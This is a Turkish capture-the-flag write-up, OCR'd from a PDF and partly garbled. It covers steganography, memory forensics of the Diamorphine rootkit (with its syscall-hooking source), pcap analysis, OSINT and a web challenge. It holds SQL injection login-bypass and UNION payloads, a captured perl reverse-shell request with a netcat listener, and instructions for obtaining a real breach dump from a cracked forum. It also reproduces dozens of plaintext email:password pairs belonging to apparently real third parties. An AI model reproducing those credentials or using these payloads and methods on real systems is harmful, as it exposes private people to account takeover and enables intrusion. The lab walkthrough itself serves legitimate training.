B Pdf (File)
Png (Image)
Swif [Stream)

N Tga (Image)
= Vob [Stream)

[-) Move up selected / (+) Move down selected / [Del) Delete selected

Add Carriers Selected 32 bytes Reset Options

Belirledigimiz degerler sonucunda, OpenPuff Mp4 (Stream) degerini “1/2 [%50] - Maximum” olarak ayarladik ve “Unhide”

butonuna basarak icerisinden “flag.txt”yi aldik.

» Task completed - Info X

4

flag 1xe destanmpy o 1/1 carrier processed
- ] - Tamam |

Dosya Dizen Bicim Gorlnim Yard

Flag{15 Temmuz 2016 Omer Halisdemir}

|
Lav

(1] Insert 3 unconelated passwords (Min: 8, Max: 32) [3] Bit selection options

Cryptography  [A]) | (B) | 3app (Stream)
= g + = Aiff [Audio)

Scrambing  (C) | Enable(8) I~ () I % Bitmap (Image)

Fly (Stream)

: 2 [ Mp3 [Audio)
H[*.Y]) = Hamming distance [X][Y ] >= 25% = Mp4 (Stream)

[2) Carrier selection [Order sensitive]

[Mame) Sort by name / [Bytes) Sart by bytes Clear

Chain Order

Bytes |

Name

Mpg 171l (Stream)
Mext/Sun [Audio)
N Pex (Image)
B Pdf [File)
% Png (Image)
Swf [Stream]
N Tga (Image)
VYob [Stream)

H-H-E--B-EEE

[-) Move up selected / [+] Move down selected / [Del] Delete selected

Add Carriers Selected 80bytes | Reset Options Unhide! |

Flag{15_Temmuz_2016_Omer_Halisdemir}


https://embeddedsw.net/OpenPuff_Steganography_Home.html

13 - INFECTION-1

Bizimle “infectionl.memory” isimli bir dosya paylasildi. Bu dosyay! “OSForensics” aracinda “Memory Viewer” penceresinde
“Static Analysis” kismina “Image Case” olarak ekledik. Daha sonra “Extract & View Strings in the OSF File Viewer” secenegine
tikladik. Acilan pencrede, “Hex/String Viewer” bolumune geldik ve “Extract” butonuna bastik. Boylece, memory imajimiz
icerisinde bulunan strings verilerini cikarttik. “Export strings...” secenegi Uzerinden “Text file (.txt)” secenegi secerek verileri
metin belgesi olarak disariya aktardik.

'I’ Workfiow Q Memory Viewer Help
= c
:E Start Live Analysis  Stalic inalysis
% Auto Triage Memoty Dump File: | C:\Users\Faruk\Desktoplinbection mem Add Memcey Image o Case
g Manage Case Open Memory Image in [ Automatically open selected item in kst GRvisbie = Help
Vielatlity \Warkbarch tres OSF Fils Viassar

File Viewer Hex/String Viewer  Text Viewer Flelnfo Metadsts OCR
< Create Forensic Image .

3 Add Devs Export List ta.. x [(Extact_|[Juseregex Fiter presets
Enter fiter text At | search...
% Boot Virtual Machine € 1 < Indirilen... » infection_1 v B fect : es ; i _f = ~
’;LI File System Browser Dizenle = Weni kasor - o w0
. . ffgf
~ sirme tarik
q File Viewer M Bu bilgisayar oo g fcfsfa
s i 5 Met fRigf
. 30 Nesneler exp.bat ¢ -
t, System Information 2 AIHSF
TE— ) Ouguer -
& indirilenler 1ef
O " FFF f
B User Activity B Masaosta fAnf
il Miizikler L
Passwords
= & Resimler il
uBPBR
@ File Name Search B videolar = xPh 5]
& Deleted Fles Search £ Verel Disk (C o root=UUID=fedSd 1b9-2fd3-36a1-80
b e kernel =auto KEYBOARDTYPE=pc KEYT
- Teni Birim (Dx)
8. ismatch Files Search v < > Authu
entiu
{ Program Artifacts Dosya adr | exp.txt o cAMDU -
- < >
Kayrt tirii:  Text Files {.tet) o Export s
B The - wport stngs... |

T Extraction Complete (5. 340.345 found)
kl Registry Viewer ~ Klasorlen Gizle | Kaydet | Iptal

infectionl. mem

q! Raw Disk Yiewer
Q Email Viewer
w f Create Index

wel Search Index

Z. o
n o, Aramak i¢in buraya yazin

Daha sonra, metin belgemizi daha rahat calisabilmek adina Linux makinemize aktardik. Metin belgemizde cok fazla string
bulundugu icin strings komutu tzerinden grep ile filtreleme yaparak bilgi daha kolay ve hizli bilgi edinebilecegimizi distunduk.
Bir rootkit aradigimiz icin anahtar kelimelerimiz sirasiyla sunlar oldu: “rootkit”, “root”, “http”.

“strings exp.txt | grep rootkit”

Rootkit olarak filtreledigimizde ise yarar bir bilgi edinemedik.

[—ﬁ. Kali-Linux-2022.2-vmware-a...

S mmE PO 2 2 | E D H A a55E|a e

kali@kali: ~/Desktop

File Actions Edit View Help

— -[~/Desktop]
— exp.txt rootkit

lin k_fop = file operati struct for modifications
mac_notifiers s s that add hooks into I/0 Kit

file operation structures for modifications
s that add hooks into I/0 Kit

-[~/Desktop]




“strings exp.txt | grep root”

Root olarak filtreledigimizde “localhost Diamorphine” hostname’ine sahip root kullanicisinin cesitli islemler yaptigini gorduk.

ITT, Kali-Linux-2022.2-vmware-a...

S eom kD] 2 3 2|F D 4H A @8 e e

kali@kali: ~/Desktop

File Actions Edit View Help

" exe="/usr/sbin/crond” hostname=? addr-=? terminal-cron res-success
give_

/
13475 @ drwxr-xr-x 5 @ Feb 28 87:12 diamorphine
[ @localhost Diamorphine ps auwx " grep
3271 0.0 0.8 108320 1944 pts/@ L 06:19 0:00 bash
33567 0.0 0.0 103324 864 pts/@ S+ 87:13 0:00 grep bash
@localhost Diamorphine kill -31 3093
@localhost Diamorphinel kill -31 3093
3271 0.0 .0 108320 1948 pts/@ 5 06:19 HU L ER
33569 0.0 0.0 103324 860 pts/0 S+ 07:14 0:00 grep bash
[ @localhest DiamorphineB cd /tmp/LiME-master/
[ @localhost LiME-master B 1s
[ @localhost srcht cd src/
[1@Pchown - System.map-2.6.32-754.el6.x86_64
selinux_policy_
selinux_set_policy_
g acct=" " exe="/usr/sbin/cro
: user pid=33629 uid=0 auid=0 ses=11 subj=system_u:system_r:crond_t:s@-s0:c0.c1023 msg="op=PAM:session_close acct="
E Sys
fs / fs rwo o
mouth-new .sh
e-
t
99- .rules
vmware-
" " exe="/usr/sbin/crond”
=UUID=fcd9d1b9-2fd9-46a1-806d-5c3b%94b1f251 rd_NO_LUKS rd_NO_LVM LANG=en_US.UTF-8 rd_NO_MD SYSFONT=latarcyrheb-sunlé crash
prepend dev directory to path names
privileges required
ware-
ware-
vmware-
"new_ D ex
REC—new_
new_
pci_

“strings exp.txt | grep http”
Rootkit'in bir yerlerden indirildigini disindliguimuz icin http filtrelemesini yaptik. Karsimiza bir github adresi cikti.

“git clone https://github.com/mOnad/Diamorphine”

Tr, Kali-Linux-2022.2-vmware-a...

S omP o1 2 3 2| D H A% a e

kali@kali: ~/Desktop

File Actions Edit View Help

d_prewikka_script_t
d_dspam_script_exec_t
/1.1

s

://wan . xiph.org/
s.pyc

s

ypto
rypto .s0
libprotocol- .S0
module- -protocol-unix.so
module- -protocol-tcp.so
Tlibmodule.so
lib.so
1lib.pyc
lib
lib.so
libmodule.so
1lib.py
1lib.py
lib.so
lib
1lib.pyc
Tlibmodule.so
53
git- —push
git clone ://github.com/m@nad/Diamorphine.git
git clone ://github.com/tomhughes/libdwarf.git
git clone ://github.com/tomhughes/libdwarf.git
git clone ://github.com/tomhughes/libdwarf.git
git clone : //github.com/m@nad/Diamorphine.git
-backend
remote- s.#prelink#
d
t-remote- s

-[~/Desktop]

H—T, Kali-Linux-2022.2-vmware-a...
SN ommPDH]- a O H A @E|a G
) GitHub - mOnad/Diamor; x  +

C @ O & https://github.com/mOnad/Diamorphine

KaliLinux #s KaliTools = KaliDocs ¥ Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

o Product Team Enterprise Explore Marketplace Pricing Search Signin  Sign up

mOnad Diamorphine Notifications Fork 332

Issues (6 Pull requests (1 Actions Projects Security

master ~ P2 Do Go to file Code ~ About

LKM rootkit for Linux Kernels 2.6.x/3.x
moOnad Update README.md with new references D49 /4 x/5.x (xB6/x86_B64 and ARMB4)

LICENSE..txt
Makefile
README.md
diamorphine.c

diamorphine.h

-[~/Desktop]




llgili link Gzerinde bir sure arastirma vyaptiktan sonra vyiklenen rootkit modulinin calistirilabilmesi icin  “insmod
diamorphine.ko” komutunun calistiriimasi gerektigini gorduk.

2

“strings exp.txt | grep ‘insmod diamorphine.ko

ﬁ Kali-Linux-2022.2-vmware-a...

S omPDd | 2 3 4|8 D 4H A [60E| A G

kali@lali: ~/Desktop

File Actions Edit View Help

-[~/Desktop]
exp. txt "insmod diamor

st Diamorphine B
st Diamorphine ki

-[~/Desktop]

Bu noktadan sonra ilgili rootkit modulinUin calistirildigindan emin olduk.
Flag{diamorphine}

14 - INFECTION-3

Bizden hook edilmis syscall isimleri isteniyordu. Bu yuzden, dncelikle Linux Syscall tablosunu inceledik.

https://filippo.io/linux-syscall-table/

Daha sonra, Github adresini buldugumuz “Diamorphine rootkit”e ait dosyalar inceledik
https://github.com/mOnad/Diamorphine

Fonksiyon implementasyonlarinin yapildigi “diamorphine.c” dosyasini incelerken “orig” ve “hacked” 6n ekleri kullanilarak
ayni syscall isimlerinin kullanildigini  gérdik. (hacked getdents, hacked getdents64, hacked kill, orig_getdents,

orig_getdents64, orig_Kkill).

Flag{sys_kill,sys_getdents,sys getdents64}

481 #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, @)

482 orig getdents = (t_syscall)_ sys_call_table[_ MNR_getdents];

483 orig getdents64 = (t_syscall)_ sys_call_table[_ NR_getdents64];

404 orig_kill = (t_syscall)__sys_call_table[_ NR_kill];

485  #else

486 orig_getdents = (orig_getdents_t)_ sys call_table[_ NR_getdents];
407 orig_getdents64 = (orig_getdentss4_t)__sys_call_table[__NR_getdents&d];
488 orig kill = (orig_kill t)_ sys_call_table[_ NR_kill];

480 fendif

418

411 unprotect_memory();

412

413 __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
414 __sys_call_table[_ NR_getdents64] = (unsigned long) hacked getdents64;
415 _ sys_call_table[_ NR_kill] = (unsigned long) hacked kill;

416

417 protect_memory();

418

419 return @;

428}

421

422 static void __exit

423 diamorphine_cleanup(void)

424 {

425 unprotect_memory();

426

427 _ sys_call_table[_ NR_getdents] = (unsigned long) orig getdents;
428 __sys_call_table[_ NR_getdents64] = (unsigned long) orig getdentsed;
429 __sys_call_table[__NR_kill] = (unsigned long) orig_kill;

438

431 protect_memory();
432}

434  module_init(diamorphine_init);

MODULE_LICENSE("Dual BSD/GPL");
438 MODULE_AUTHOR( "m@nad");

4

4

4

4

435  module_exit(diamorphine_cleanup);
4

4

4

a4 MODLI F DFSCRTPTTONC "1 KM rootkit™):


https://filippo.io/linux-syscall-table/

15 - N-T-W-1
Bizimle “network.pcap” isimli bir dosya paylasildi. Bu dosyayi wireshark araci ile actik.

Zafiyetli “dvwa” makinesindeki “sqli” acigi somuraltyor. Sorunun bashginda belirtildigi gibi flagimizi girdik.

[|:, Kali-Linux-2022.2-vmware-a...

S o EmP O] 2 3 4 O ® A 5143% & c

network.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AO A R BE@E 2« ¢« >0 «>BE E oo o[l

Source Destination Protocol Length Info
1 0.000000 172.16.8. 172. 8 HTTP 541 GET /dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit HTTP/1.1
2 0.014370 172. 8. 172. 8 HTTP 558 HTTP/1.1 200 OK (text/html)
3 4.391503 172.16.8. T2 8 HTTP 541 GET /dwvwa/vulnerabilities/sqli/?id=%22&Submit=Submit HTTP/1.1
4 4.404127 172. - 8. 172. 8 HTTP 4709 HTTP/1.1 200 OK (text/html)
5 13.504481 172.16.8. 172.16.8. HTTP 574 GET /dvwa/vulnerabilities/sqli/?id=%27+or+1%3D1%23&Submit=Submit HTTP/1.1
6 13.515898 172. 8. 172. .B. HTTP 5621 HTTP/1.1 200 OK (text/html)
7 B83.981680 172.16.8. AT 8 HTTP 544 GET /dvwa/vulnerabilities/sqli/?id=123&Submit=Submit HTTP/1.1
8 84.002838 172. - 8. 172. 8 TCP 4410 80 — 50392 [ACK] Seq=1 Ack=479 Win=215 Len=4344 TSval=3992 TSecr=2483657676 [T
9 84.002962 172. Gl 172. 8 HTTP 365 HTTP/1.1 200 OK (text/html)
10 84.114391 172. 8. 172. 8 HTTP 714 GET /dvwa/vulnerabilities/sqli/?id=123%27%20UNION%20ALL%20SELECT%20CONCAT%280xX]

84 834 P 5 P 00 0K £ nLm

Frame 1: 5 8 bi red (4328 bits
Ethernet ) VMware_d1 88 (00:0c:29:d1:43:88)
.63
Seq: 1, Ack: 1, : 475

Hypertext Transfer Protocol

Bc 29 d1 43 88 €0 Oc
Bf @ B 06 06
58 1a 6b

® E network.pcap Packets: 4226 - Displayed: 4226 (100.0%) Profile: Default

Flag{sql_injection}

16 - N-T-W-2

Bizimle “network2.pcap” isimli bir dosya paylasildi. Bu dosyayi wireshark araci ile agtik. Soruda shell dosyasindan bahsedildigi
icin Wireshark uzerinden File > Export Objects > HTTP seceneklerini secerek 149 numarali paketin yani ilgili shell dosyasinin
bulundugu bdélime geldik.

Dosya ismi resimde sari olarak vurgulanmistir.

ﬁ Kali-Linux-2022.2-vmware-a...

| o m P D] 2 3 4 O H A @ a e

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOAG s BERB@ 2 <«»>0<«>EE oo ol

Source Destination Protocol Length Info

. 728712 .16.8. .16.8. 66 43035 — 21 [ACK] Seqg=172 Ack=219 Win=64256 Len=0 TSval=3754257078 TSecr=146334{
. 729763 . . B. . .B. 74 34039 — 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=3754257079 T
. 730017 .16.8. - 8. 74 80 — 34839 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS5=1468 SACK_PERM=1 TSval=14{
. 730040 - - 8. - .B. 66 34039 — 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=3754257079 TSecr=1463347
. 730828 .16.8. - 8. 654 GET /bBHkid.php?uBBBSZ2=nohup%20per1%20-MI0%20-e%20%27%24p%3dfork%3bexit%2cif%2
. 731867 .16.8. - .8. 66 80 — 340839 [ACK] Seg=1 Ack=589 Win=30208 Len=0 TSval=1463347 TSecr=3754257080
.956042 .16.8. .16.8. 74 58938 — 4444 [SYN] Seq=0 Win=29280@ Len=0 MSS=1460 SACK_PERM=1 TSval=1463403 TS5
.956064 .16.8. .16.8. 74 4444 - 508938 [SYN, ACK] Seq=0 Ack=1 Win=65168 Len=0 MSS=1460 SACK_PERM=1 TSvalq{
.956347 .16.8. .16.8. 66 50938 — 4444 [ACK] Seq=1 Ack=1 Win=29312 Len=08 TSval=14634083 TSecr=3754257305
. 965017 .16.8. .16.8. ml)

| 9 3 50 - - ACK

» Frame 154:

v+ Ethernet II, Src: VMware_25:77:

» Internet Protocol Version 4, Src

» Trar n Control Pro

M Hypertext Transfer Protoc

» Line-based text data: text/html (1 lines) e B e A s

Text Filter: Content Type: AllContent-Types ~

Packet ~ Hostname Content Type Size Filename
154 172.16.8.52  text/html 44 bytes %29%7bsystem%20%241%3b%7d%7d%3b%27%2!

O Bc 29 28 02 37 00 Bc 29 25 77 b6 08 66
6e 00 40 3 10 @8

00 50 84 3¢ A6 6T da 91 80 Save SaveAll Close Help

® E network2.pcap Packets: 1414 - Displayed: 1414 (100.0%) Profile: Default

Flag{bBHk1ld.php}



17 - N-T-W-3

Bizimle “network2.pcap” isimli bir dosya paylasildi. Bu dosyay! wireshark araci ile actik. Bir onceki sorudaki paket akisinin
devaminda shell ile baglanti kuran *.50 ip’li kisinin 4444 portunu kullandigini gordik. Kultlesmis olan “nc -lvnp 4444"
baglantisindan aklimiza geldi.

|—|T. Kali-Linux-2022.2-vmware-a...

ST eoE PO 2 3 - O H A @144 @ C

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOAQ s BR@ 2 ¢« » 08 «>»HEE oo o

Source Destination Protocol Length
145 65.728712 172. 8 172.16.8.52 66 43035 - 21 [ACK] Seq=172 Ack=219 Win=64256 Len=8 TSval=3754257078 TSecr=146334{
146 65.729763 172.16.8. 172.16.8.52 74 34039 — 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=3754257079 T
147 65.730017 172.16.8. 172.16.8.50 74 80 — 34839 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0@ MSS=1460 SACK PERM=1 TSval=14
148 65.7300840 172. 8 17/2.16.8.52 66 34839 — 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=3754257079 TSecr=1463347
149 65.730828 172. 8 172.16.8.52 654 GET /bBHk1d.php?uBBBS2=nohup%20perl1%20-MI0%20-e%20%27%24p%3dfork%3bexit%2cif%2

150 65.731667 172.16.8. 172.16.8.50 66 80 — 340839 [ACK] Seq=1 Ack=589 Win=30208 Len=0 TSval=1463347 TSecr=3754257080
151 65.956042 172.16.8.52 172.16.8.50 74 50938 — 4444 [SYN] Seq=6 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=1463403 TS{
152 65.956064 172.16.8.50 172.16.8.52 74 4444 - 50938 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=@ MSS=1460 SACK_PERM=1 TSvalj
153 65.956347 172.16.8.52 172.16.8.50 66 50938 — 4444 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=1463403 TSecr=3754257305
154 65.965017 172.16.8.50 1.1 200 OK (text/html)

| | G & &10) A eg & A

v Frame 154:

» Ethernet II, Src

+ Internet Protocol Version 4, Src: 17 5.8.52, Dst: 17
» Transmission Control Protocol, Src Port: Dst Port:

b —Hypertext Transfer Protocol 1
d Wireshark - Export - HTTP object list

+ Line-based text data: text/html (1 lines)
Text Filter: Content Type: All Content-Types -

Packet ~ Hostname Content Type Size Filename
154 172.16.8.52  text/html 44 bytes %29%7bsystem%20%241%3b%7d%7d%3b%27%2!

25 77 b6 ©

B é:fj L EE ) : . Save Save All R

® E network2.pcap Packets: 1414 - Displayed: 1414 (100.0%) Profile: Default

Flag{172.16.8.50,4444}

18 - GEOSINT

Bizle paylasilan “geoint-question.png” dosyasini indirdim ve yer tespiti yapmaya calistim. ilk dikkatimi ceken “Pasta Fresca”
dikkani oldu fakat cok fazla subesi oldugu icin ve benzer yapilarda olduklari sebebiyle yer tespiti yapamadim. Bu yuzden
fotografin sag tarafinda kalan “Chapati” adl kiigik dukkana yogunlastim ve yer tespitini yaptim.

[VPr] www.google.com/maps/place/Macaroni/@50.7743 0829514,20.74z/data="'4m 12! 1m6!3m5!1s0x0:0xe9cfdd5d54cefd3b! 2sChapati+Am+ Dom!8m2!3d50.7744921!4di 2 @
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&  restaurant-macaroni.de/kontakt/

“rest@macaroni-aachen.de” e-posta adresine ulastim.

italienisi

Vinotarnlat>  ®

“Restaurant-macaroni.de” websitesinin iletisim sayfalarindan e-posta adresi bulabilcegimi distindim ve iletisim sayfalarindan
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) &
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Mail adresini not aldim ve “haveibeenpwned” sitesi Uzerinden sifre ifsasi olmus mu diye kontrol ettim ve 2020'de hacklenen
“123RF” veritabaninin icerisinde oldugunu gérdum.

[ven] &

haveibeenpwned.com/unifiedsearch/rest@macaroni-aachen.de

202@-11-15T00:59:507" , "ModifiedDate™ : "2026-11-15T@1:07: 107", "PwnCount": 8661578, "Description” :"In March
ach-83m-records-for-sale/\" target _blank\" rel=\"noopener\">123RF suffered a
hysical addresses, names, phone numbers and passwords stored as MD5 hashes. The

https://haveibeenpwned. com/Content/Images/PwnedLogos/123RF.png","DataClasses™:

{"Breaches": [{"Name":"123RF","Titl "Domain”:"123rf.com","BreachDate" :"2828-083-22","AddedDate"
2020, the stock photo site <a href ttps://www.bleepingcomputer.com/news/security/popular-stock-photo-service-hit-by-data-
data breach</a> which impacted over 8 million subscribers and was subsequently sold online. The breach included email, IP an
data was provided to HIBP by <a href=\"https://dehashed.com/\" targe " _blank\"™ rel=\"noopener\">dehashed.com</a>.","
["Email addresses”,"IP addresses’ ames” , "Passwords”,"Phone numbers Physical
addresses”,"Usernames"],"IsVerified":true,"IsFabricated"”:false,"IsSensitive alse,"IsRetired":false,"IsSpamList":false,"IsMalware™:false}],"Pastes”:null}

Veritabanin paylasildigi forumlari vs. gezdim ve “cracked.to” forumunda 265MB’lik 123RF sizintisi oldugunu goérdim.

@ [l @ cracked.io/Thread-Supreme- * DEHASHED#%EF%B8%8F-THE-FINAL-CHUCKY-PREMIUM-DATABASES-LEAKS-

# Home + Upgrade ™ Help = Credits Q, Search & Auth <, Refunds = Exiras gin E3 Register

v

# DEHASHED 4 THE FINAL CHUCKY PREMIUM DATABASES LEAKS 4 123RF + DATPIFF + MORE &
by Evil_Corporation - 09 April, 2022 - 03:20 PM

<

£ conp

i #1
09 Apri Subscribe

=
E CORP

B 123rf.com.bit B bigbas by mailpass.pw [... CoinPayex.ltd 1kk mailp...

THREADS:

JOINED: AUG 2020

Click here to register with a few steps and

1
VOUCHES: explore all our cool stuff we have to offer!



mailto:rest@macaroni-aachen.de

Ilgili forumdaki indirme linkini kullanarak leak edilen parola listesini edindim.

anonfiles.com

@ anonfiles
" " anonymous file upload
0

123rf.com.txt

B DOWNLOAD (266.37 MB)

ETOTEEEEE IO

Login - Register - Terms of Use - API - FAQ - Feedback - REPORT ABUSE

Visit our friends: filechan - LetsUpload

Notepad++ uygulamasi ile hedef e-posta adresimizi aradim ve dehashed (acik haldeki) parolay! kopyalayip shal algoritmasi

ile hashledim.

u]' C\Users\sam\Desktop\hackaradeniz\123rf.com.txt - Notepad++ — o x
File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ? X
sHHB 2GS 4 Hib | o8 Bg| & % £ % | (o [l
e — ausmmma} o

lightning420@msn.com:purplel?’
jiayingsiow@hotmail.com:purplel?
bocongl7@naver.com:purplel’
choicespsych@yahoo.com:purplel? I
willyan.walesco@hotmail.com:w895623

el _papaso_alex@hotmail.com:7895123852
info@theadfmstore.com: 38806969
Johnneydon@yahoo.com: 1973777377
dj_zev_rowanfyahoo.com:Beatportl
meetdholarial@gmail. com: 9820541702
mary.vink@hotmail.com:Miemkeliefl
lolo.0966Rhotmail. com: zmehkrac
jariwalarajl@gmail.com:mwjjairl
deannap22@yahoo.com:deanna8s
dpetersen’77@yahoo.com:deannass
ccevansl@gmail.com:numberonel
gatlaprashanthreddywri@gmail. com:numberonel
partnersteaml@gmail. com:numberonel
wellington.alvesdasilva@hotmail.com:84197935Well
rest@macaroni-aachen.de:Alexis024177243
blexis.markaris@gmail.CDm:Alexi5024177243
mutiara.blus@gmail.com: fjwucnnh
mxht05@gmail.com:80gxfhth
alikaremak@gmail.com:4gh5jhbg
g-brem@oxivo.eu:Amsterdam_ 1975
24958051@drdrb.net:testtest23
leanneflowerfeurika-trc.co.uk:123rflmw0l
dnadamsll@comcast.net:Breesbayou2
fabioclgreenworldsolutions.eu:dmescable
sittipong.w@l8mongkut.com:mngkt456123
elkingams@yahoo.com:0120186815ams
aldo.escareno.silvalgmail. com: amehgwvm
kagurazakarasen@gmail.com:BanBanBanl
banban@amy.hi-ho.ne.jp:BanBanBanl
jmarg9l@gmail.com:jxnljwwt
heatherj55@acl.com: october269
valnelsin@gmail.com:ébylaxbl
tuny93@gmail.com:likeyou
cintiamariay@hotmail.com: fecantvm
acpanda®95@gmail.com: quxgnkgz
ncu380l@ncu.edu. tw:ncu3sol

—aam e P P g - WA N S RO N1

Normal text file length : 266,369,829 lines: 7,886,945 Ln:361,117 Col:1 Sel:41]1 Windows (CR LF) UTF-8 INS

| A Not secure www.shal-online.com

Home Page | SHA1 in JAVA | Secure password generator | Linux

SHA1 and other hash functions online generator

[Alexis024177243 [ hash ]

Result for shal: d26fd6a8b28f2c2b3f2cdc3aclc9d52bb41cadce

SHA-1 MD5 on Wikipedia

We love SPAIN and oldpics.org

Flag{d26fd6a8b28f2c2b3f2cdc3aclc9d52bb41cadce}



19 - CyberCafe

Verilen hedef sitede Cyber Cafe Management System Admin giris panelini buldum fakat giris yapmami saglayacak hesap
bilgisine sahip degilim. Bu yluzden Cyber Cafe sistemine ait olan gecmis aciklari (CVE) kontrol ettim ve CVE-2022-29009 (
https://www.exploit-db.com/exploits/50355) kodlu USERNAME/PASSWORD kisminda SQL Injection yaparak Authentication

Bypass yapmamiza olanak saglayan bir acikla karsilastim.

“admin' OR '1'="1" login bypass payloadi kullanilarak giris islemi basariyla gerceklesti.

C 88 @ @ challenge105 hackkaradeniz.yz/k1j2uzn2q00by/index.php

Cyber Cafe Management System

USER NAME

Forgot Password?

SIGN IN

Cyber Cafe Management System Admin paneline erisim sagladiktan sonra sitede erisime izin verilen kisimlarin Search kismi
oldugunu kesfettim ve buradan kullanici verisi cekebilecegimizi disindim.

C B8 @ challenge105.hackkaradenizxyz/k1j2uzn2q00b/dashboard.php 2B g > Q0 -t D L m =
g HyZ/ K q PhF &

CCMS ADMIN | Admin (&8

&® Dashboard Dashboard Dashboard

Computer

Users

Search

Reports



https://www.exploit-db.com/exploits/50355

"UNION ALL SELECT 14,concat(AdminRegdate),13,12,11,10,9,8,7,6,5,4,3,2 from tbladmin -- -

Payloadini arama kisminda kullanarak tum kullanicilarin ID, Full Name bilgilerini cektim ve ve ekstradan Flag bilgisini iceren

bir kullanici ile karsilastim. Elde ettigimiz flag’i sisteme girdik.

C 8 [n] @ challenge105.hackkaradenizxyz/k1j2uzn2q00b/search.php o @ > Q0 k- © 4L =

Dashboard Search Users Dashboard / Search Users / Users

Computer

Search Users
Users

Search Search by Username or Entry 1D

Result against "' UNION ALL SELECT 14,concat(AdminRegdate),13,12,11,10,9,8,7,6,5,4.3,2 from tbladmin -- -" keyword

S.NO Entry ID Full Name Action

1 398365517 Pushkar Mishra View Details
2 285255862 Shanu Dev View Details
3 305642534 Khushi Chaursia View Details
- 634737642 Test user View Details
5 2019-08-01 08:53:46 13 View Details
6 hdckk4rdd3n1zb4sl1yOr 13 View Details

Flag{h4ckk4r4d3nlzb4sllyOr}



